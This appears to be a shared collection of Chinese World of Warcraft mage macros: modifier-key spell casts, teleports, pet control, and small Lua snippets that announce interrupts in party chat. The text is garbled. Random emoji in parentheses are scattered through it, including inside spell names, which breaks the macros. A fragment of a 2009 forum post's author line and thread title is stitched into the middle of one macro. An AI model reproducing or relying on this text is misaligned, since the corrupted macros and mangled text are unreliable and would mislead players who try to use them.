MACRO 16777226 " 祝福" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:ctrl]魔法增效;[modifier:alt]魔法抑制;[modifier:shift]专注(🌥)魔法;[button:2]奥术光(💹)辉(💕);奥术智慧
END
MACRO 16777230 " PVE水宝宝(😤)" Spell_Frost_SummonWaterElemental_2
#showtooltip [nopet] [target=pet,dead] 召唤水元素; [pet] 冰冻术
/cast [nopet]召唤(🍉)水(🌙)元素(🍹)
/cast [target=pet,dead]召唤水元素
/stopmacro [target=pet,dead]
/petstay
/petpassive
/cast 冰冻术
/click [pet] PetActionButton5
END
MACRO 16777221 " 传(🥖)送术" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]传送:暴风城;[modifier:shift]传送(🥈):达纳(🚁)苏斯;[modifier:ctrl]传送:埃索达;[button:3]传(🚑)送门(🀄):塞拉摩;[button:2]传送:沙塔斯;传送:铁炉(❣)堡(🧞)
END
MACRO 16777236 " 宝石" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]制造法(🎄)力宝石;法(🦋)力刚玉
END
MACRO 16777223 " 护甲" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]法师护甲;[button:2]冰甲术;熔岩护甲
END
MACRO 16777224 " 护盾" Spell_Shadow_DetectLesserInvisibility
作者:代表(🏆)朝廷
2009-1-12 16:56 回复(🌈)此发言
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7 3.0法师宏一套(🎱)大派送.笔者收藏编写修改(🍄)了(📊)近(♓)两年的宏(🌷)(转(🥎))
#showtooltip
/cast [modifier:alt]寒冰护体;[button:2]野魔(🌤)花;法力护盾
END
MACRO 16777237 " 一(🔛)条命" Spell_Holy_HolyNova
#showtooltip
/cast [modifier:alt]作(🌹)战治(🚜)疗药水;[modifier:alt]生命之血(🕹);[modifier:alt]极效治(🍎)疗石;[modifier:shift]生命(🎞)之血
/cast [modifier:alt]厚(💬)灵纹布绷带;厚灵纹布绷带
END
MACRO 16777222 " 传送(🏐)门(🥫)" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]传送门:(🤵)暴(⛎)风城;[modifier:shift]传(🔢)送门(🌛):达纳苏斯(🥌);[modifier:ctrl]传送门:埃(🐐)索达(🥥);[button:3]传送门:塞拉摩(🌜);[button:2]传送门:(🚤)沙塔斯;传送门:铁炉堡
END
MACRO 16777229 " 变形" INV_Misc_QuestionMark
#showtooltip
/Cast [target=mouseover,harm,nodead]变形术;[modifier:alt,target=focus,harm,nodead]变形(💀)术(🕖);变形术
END
MACRO 16777231 " 战场(👏)宏" Ability_Warrior_InnerRage
/run JoinBattlefield(0)
END
MACRO 16777232 " 打断提示宏1" Spell_ChargeNegative
/run function SIS_M(a,b,c,d,e,f,g,type) SendChatMessage(" 我打断了 ["..c.."] 的(🗞) \124cff71d5ff\124Hspell:"..f.."\124h["..g.."]\124h\124r。",type);end
END
MACRO 16777233 " 打断提(🎳)示宏2" Spell_ChargePositive
/run function EV_M(...) local a,v,_,b,_,_,c,_,d,e,_,f,g=...;if (v=="SPELL_INTERRUPT" and SIS_M) then SIS_M(a,b,c,d,e,f,g,"partty");end end
END
MACRO 16777234 " 打断提示宏3" Spell_DeathKnight_PathOfFrost
/run if (not MSG_F) then CreateFrame("Frame","MSG_F",UIParent);end MSG_F:RegisterEvent("COMBAT_LOG_EVENT");MSG_F:SetScript("OnEvent",function(_,_,...) if (EV_M) then EV_M(...);end end);
END
MACRO 16777228 "N开" Spell_Holy_TestOfFaith
#showtooltip
/stopcasting
/cast 奥术强化
/cast 燃烧
/cast 冰冷血脉
/cast 14
/cast 火(🏾)球术(🔦)
END